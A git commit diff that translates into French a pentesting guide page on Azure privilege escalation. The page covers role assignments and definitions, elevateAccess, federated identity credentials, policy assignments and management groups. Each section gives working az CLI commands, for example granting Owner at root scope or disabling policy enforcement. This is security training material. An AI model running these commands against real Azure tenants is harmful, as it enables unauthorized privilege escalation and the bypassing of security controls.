Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2025-11-28 09:48:06 +00:00
parent c9761e8d9e
commit 532008a88a

View File

@@ -12,14 +12,14 @@ Pour plus d'informations, consultez :
### Microsoft.Authorization/roleAssignments/write
Cette permission permet d'assigner des rôles à des principaux sur un périmètre spécifique, permettant à un attaquant d'escalader les privilèges en s'assignant un rôle plus privilégié :
Cette permission permet d'assigner des rôles à des principals sur une portée spécifique, permettant à un attacker d'escalader ses privilèges en s'assignant un rôle plus privilégié :
```bash
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
```
### Microsoft.Authorization/roleDefinitions/Write
Cette permission permet de modifier les permissions accordées par un rôle, permettant à un attaquant d'escalader les privilèges en accordant plus de permissions à un rôle qu'il a assigné.
Cette permission permet de modifier les permissions accordées par un rôle, permettant à un attacker d'escalate privileges en accordant plus de permissions à un rôle qu'il a assigné.
Créez le fichier `role.json` avec le **contenu** suivant :
```json
@@ -36,16 +36,16 @@ Créez le fichier `role.json` avec le **contenu** suivant :
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}
```
Ensuite, mettez à jour les autorisations de rôle avec la définition précédente en appelant :
Ensuite, mettez à jour les autorisations du rôle avec la définition précédente en appelant :
```bash
az role definition update --role-definition role.json
```
### Microsoft.Authorization/elevateAccess/action
Cette autorisation permet d'élever les privilèges et de pouvoir attribuer des autorisations à tout principal sur les ressources Azure. Elle est destinée à être accordée aux Administrateurs Globaux d'Entra ID afin qu'ils puissent également gérer les autorisations sur les ressources Azure.
Cette permission permet d'élever les privilèges et de pouvoir attribuer des permissions à n'importe quel principal sur des ressources Azure. Elle est destinée à être attribuée aux Entra ID Global Administrators afin qu'ils puissent également gérer les permissions sur les ressources Azure.
> [!TIP]
> Je pense que l'utilisateur doit être Administrateur Global dans Entra ID pour que l'appel d'élévation fonctionne.
> Je pense que l'utilisateur doit être Global Administrator dans Entra ID pour que l'appel elevate fonctionne.
```bash
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
@@ -55,9 +55,9 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
```
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
Cette permission permet d'ajouter des identifiants fédérés aux identités gérées. Par exemple, donner accès à Github Actions dans un dépôt à une identité gérée. Ensuite, cela permet d'**accéder à toute identité gérée définie par l'utilisateur**.
Cette permission permet d'ajouter des Federated credentials aux managed identities. Par ex. donner accès à Github Actions dans un repo à une managed identity. Ensuite, elle permet de **accéder à n'importe quelle managed identity définie par l'utilisateur**.
Exemple de commande pour donner accès à un dépôt dans Github à une identité gérée :
Commande exemple pour donner accès à un repo sur Github à une managed identity :
```bash
# Generic example:
az rest --method PUT \
@@ -71,4 +71,94 @@ az rest --method PUT \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
```
### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
Un attaquant disposant de la permission `Microsoft.Authorization/policyAssignments/write` ou `Microsoft.Authorization/policyAssignments/delete` sur un management group, subscription ou resource group peut **modifier ou supprimer des Azure policy assignments**, et potentiellement **désactiver des restrictions de sécurité** qui bloquent certaines opérations.
Cela permet d'accéder à des ressources ou fonctionnalités qui étaient précédemment protégées par la policy.
**Supprimer une policy assignment :**
```bash
az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
```
**Désactiver une affectation de stratégie :**
```bash
az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled
```
**Vérifier les modifications :**
```bash
# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
```
### Microsoft.Authorization/policyDefinitions/write
Un attaquant disposant de l'autorisation `Microsoft.Authorization/policyDefinitions/write` peut **modifier les Azure policy definitions**, en changeant les règles qui contrôlent les restrictions de sécurité dans l'ensemble de l'environnement.
Par exemple, une policy qui limite les régions autorisées pour la création de ressources peut être modifiée pour autoriser n'importe quelle région, ou l'effet de la policy peut être changé pour la rendre inefficace.
**Modifier une définition de policy :**
```bash
az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json
```
**Vérifier les modifications :**
```bash
az policy definition list --output table
az policy definition show --name "<policyDefinitionName>"
```
### Microsoft.Management/managementGroups/write
Un attaquant disposant de la permission `Microsoft.Management/managementGroups/write` peut **modifier la structure hiérarchique des groupes de gestion** ou **créer de nouveaux groupes de gestion**, s'affranchissant potentiellement des politiques restrictives appliquées à des niveaux supérieurs.
Par exemple, un attaquant peut créer un nouveau groupe de gestion sans politiques restrictives puis y déplacer des abonnements.
**Créer un nouveau groupe de gestion :**
```bash
az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"
```
**Modifier une hiérarchie de management group :**
```bash
az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
```
**Vérifier les modifications :**
```bash
az account management-group list --output table
az account management-group show \
--name "<managementGroupId>" \
--expand
```
### Microsoft.Management/managementGroups/subscriptions/write
Un attaquant disposant de la permission `Microsoft.Management/managementGroups/subscriptions/write` peut **déplacer des subscriptions entre management groups**, et potentiellement **contourner des policies restrictives** en déplaçant une subscription vers un groupe disposant de policies moins restrictives ou sans policies.
**Déplacer une subscription vers un management group différent :**
```bash
az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"
```
**Vérifier les modifications :**
```bash
az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"
```
{{#include ../../../banners/hacktricks-training.md}}